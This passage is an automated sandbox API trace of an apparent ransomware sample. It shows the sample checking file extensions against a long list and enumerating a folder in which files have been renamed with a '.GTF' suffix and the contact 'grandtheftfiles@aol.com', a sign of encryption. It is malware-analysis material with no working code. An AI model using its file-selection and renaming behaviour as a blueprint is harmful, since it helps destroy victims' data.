	[0064.439] lstrlenW (lpString=".dcm") returned 4
	[0064.439] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dcr") returned 4
	[0064.439] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".der") returned 4
	[0064.439] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dib") returned 4
	[0064.439] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dic") returned 4
	[0064.439] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dif") returned 4
	[0064.439] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".divx") returned 5
	[0064.439] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0064.439] lstrlenW (lpString=".djvu") returned 5
	[0064.439] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0064.439] lstrlenW (lpString=".dng") returned 4
	[0064.439] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".doc") returned 4
	[0064.439] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".docm") returned 5
	[0064.439] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0064.439] lstrlenW (lpString=".docx") returned 5
	[0064.439] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0064.439] lstrlenW (lpString=".dot") returned 4
	[0064.439] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0064.439] lstrlenW (lpString=".dotm") returned 5
	[0064.440] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0064.440] lstrlenW (lpString=".dotx") returned 5
	[0064.440] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0064.440] lstrlenW (lpString=".dpx") returned 4
	[0064.440] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".dqy") returned 4
	[0064.440] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".dsn") returned 4
	[0064.440] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".dt") returned 3
	[0064.440] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0064.440] lstrlenW (lpString=".dtd") returned 4
	[0064.440] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".dwg") returned 4
	[0064.440] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".dwt") returned 4
	[0064.440] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".dx") returned 3
	[0064.440] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0064.440] lstrlenW (lpString=".dxf") returned 4
	[0064.440] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".edml") returned 5
	[0064.440] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0064.440] lstrlenW (lpString=".efd") returned 4
	[0064.440] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".elf") returned 4
	[0064.440] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".emf") returned 4
	[0064.440] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".emz") returned 4
	[0064.440] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".epf") returned 4
	[0064.440] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".eps") returned 4
	[0064.440] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0064.440] lstrlenW (lpString=".epsf") returned 5
	[0064.440] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0064.441] lstrlenW (lpString=".epsp") returned 5
	[0064.441] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0064.441] lstrlenW (lpString=".erf") returned 4
	[0064.441] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".exr") returned 4
	[0064.441] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".f4v") returned 4
	[0064.441] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".fido") returned 5
	[0064.441] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0064.441] lstrlenW (lpString=".flm") returned 4
	[0064.441] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".flv") returned 4
	[0064.441] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".frm") returned 4
	[0064.441] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".fxg") returned 4
	[0064.441] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".geo") returned 4
	[0064.441] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".gif") returned 4
	[0064.441] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".grs") returned 4
	[0064.441] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".gz") returned 3
	[0064.441] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0064.441] lstrlenW (lpString=".h") returned 2
	[0064.441] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0064.441] lstrlenW (lpString=".hdr") returned 4
	[0064.441] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".hpp") returned 4
	[0064.441] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".hta") returned 4
	[0064.441] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".htc") returned 4
	[0064.441] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0064.441] lstrlenW (lpString=".htm") returned 4
	[0064.442] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".html") returned 5
	[0064.442] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0064.442] lstrlenW (lpString=".icb") returned 4
	[0064.442] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".ics") returned 4
	[0064.442] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".iff") returned 4
	[0064.442] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".inc") returned 4
	[0064.442] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".indd") returned 5
	[0064.442] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0064.442] lstrlenW (lpString=".ini") returned 4
	[0064.442] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".iqy") returned 4
	[0064.442] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".j2c") returned 4
	[0064.442] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".j2k") returned 4
	[0064.442] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".java") returned 5
	[0064.442] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0064.442] lstrlenW (lpString=".jp2") returned 4
	[0064.442] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".jpc") returned 4
	[0064.442] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".jpe") returned 4
	[0064.442] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".jpeg") returned 5
	[0064.442] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0064.442] lstrlenW (lpString=".jpf") returned 4
	[0064.442] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".jpg") returned 4
	[0064.442] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".jpx") returned 4
	[0064.442] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0064.442] lstrlenW (lpString=".js") returned 3
	[0064.443] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0064.443] lstrlenW (lpString=".jsf") returned 4
	[0064.443] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".json") returned 5
	[0064.443] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0064.443] lstrlenW (lpString=".jsp") returned 4
	[0064.443] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".kdc") returned 4
	[0064.443] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".kmz") returned 4
	[0064.443] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".kwm") returned 4
	[0064.443] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".lasso") returned 6
	[0064.443] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0064.443] lstrlenW (lpString=".lbi") returned 4
	[0064.443] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".lgf") returned 4
	[0064.443] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".lgp") returned 4
	[0064.443] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".log") returned 4
	[0064.443] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".m1v") returned 4
	[0064.443] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".m4a") returned 4
	[0064.443] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".m4v") returned 4
	[0064.443] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".max") returned 4
	[0064.443] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".md") returned 3
	[0064.443] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0064.443] lstrlenW (lpString=".mda") returned 4
	[0064.443] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".mdb") returned 4
	[0064.443] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0064.443] lstrlenW (lpString=".mde") returned 4
	[0064.444] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mdf") returned 4
	[0064.444] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mdw") returned 4
	[0064.444] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mef") returned 4
	[0064.444] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mft") returned 4
	[0064.444] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mfw") returned 4
	[0064.444] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mht") returned 4
	[0064.444] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mhtml") returned 6
	[0064.444] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0064.444] lstrlenW (lpString=".mka") returned 4
	[0064.444] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mkidx") returned 6
	[0064.444] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0064.444] lstrlenW (lpString=".mkv") returned 4
	[0064.444] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mos") returned 4
	[0064.444] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mov") returned 4
	[0064.444] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mp3") returned 4
	[0064.444] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mp4") returned 4
	[0064.444] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mpeg") returned 5
	[0064.444] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0064.444] lstrlenW (lpString=".mpg") returned 4
	[0064.444] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mpv") returned 4
	[0064.444] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".mrw") returned 4
	[0064.444] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0064.444] lstrlenW (lpString=".msg") returned 4
	[0064.445] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".mxl") returned 4
	[0064.445] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".myd") returned 4
	[0064.445] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".myi") returned 4
	[0064.445] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".nef") returned 4
	[0064.445] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".nrw") returned 4
	[0064.445] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".obj") returned 4
	[0064.445] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".odb") returned 4
	[0064.445] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".odc") returned 4
	[0064.445] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".odm") returned 4
	[0064.445] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".odp") returned 4
	[0064.445] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".ods") returned 4
	[0064.445] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".oft") returned 4
	[0064.445] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".one") returned 4
	[0064.445] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".onepkg") returned 7
	[0064.445] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0064.445] lstrlenW (lpString=".onetoc2") returned 8
	[0064.445] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0064.445] lstrlenW (lpString=".opt") returned 4
	[0064.445] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".oqy") returned 4
	[0064.445] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".orf") returned 4
	[0064.445] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0064.445] lstrlenW (lpString=".p12") returned 4
	[0064.446] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".p7b") returned 4
	[0064.446] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".p7c") returned 4
	[0064.446] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pam") returned 4
	[0064.446] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pbm") returned 4
	[0064.446] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pct") returned 4
	[0064.446] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pcx") returned 4
	[0064.446] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pdd") returned 4
	[0064.446] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pdf") returned 4
	[0064.446] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pdp") returned 4
	[0064.446] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pef") returned 4
	[0064.446] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pem") returned 4
	[0064.446] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pff") returned 4
	[0064.446] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pfm") returned 4
	[0064.446] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pfx") returned 4
	[0064.446] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".pgm") returned 4
	[0064.446] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".php") returned 4
	[0064.446] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0064.446] lstrlenW (lpString=".php3") returned 5
	[0064.446] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0064.446] lstrlenW (lpString=".php4") returned 5
	[0064.446] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".php5") returned 5
	[0064.447] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".phtml") returned 6
	[0064.447] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0064.447] lstrlenW (lpString=".pict") returned 5
	[0064.447] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".pl") returned 3
	[0064.447] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0064.447] lstrlenW (lpString=".pls") returned 4
	[0064.447] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".pm") returned 3
	[0064.447] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0064.447] lstrlenW (lpString=".png") returned 4
	[0064.447] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".pnm") returned 4
	[0064.447] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".pot") returned 4
	[0064.447] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".potm") returned 5
	[0064.447] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".potx") returned 5
	[0064.447] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".ppa") returned 4
	[0064.447] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".ppam") returned 5
	[0064.447] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".ppm") returned 4
	[0064.447] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".pps") returned 4
	[0064.447] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".ppsm") returned 5
	[0064.447] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".ppt") returned 4
	[0064.447] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0064.447] lstrlenW (lpString=".pptm") returned 5
	[0064.447] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0064.447] lstrlenW (lpString=".pptx") returned 5
	[0064.447] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0064.448] lstrlenW (lpString=".prn") returned 4
	[0064.448] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".ps") returned 3
	[0064.448] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0064.448] lstrlenW (lpString=".psb") returned 4
	[0064.448] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".psd") returned 4
	[0064.448] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".pst") returned 4
	[0064.448] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".ptx") returned 4
	[0064.448] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".pub") returned 4
	[0064.448] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".pwm") returned 4
	[0064.448] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".pxr") returned 4
	[0064.448] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".py") returned 3
	[0064.448] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0064.448] lstrlenW (lpString=".qt") returned 3
	[0064.448] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0064.448] lstrlenW (lpString=".r3d") returned 4
	[0064.448] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".raf") returned 4
	[0064.448] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0064.448] lstrlenW (lpString=".rar") returned 4
	[0064.448] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0064.448] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dbc242f, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dbc242f, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dbc242f, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0064.448] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0064.449] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0064.449] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0064.449] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0064.449] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0064.449] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0064.449] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0064.449] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0064.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0064.449] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0065.337] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
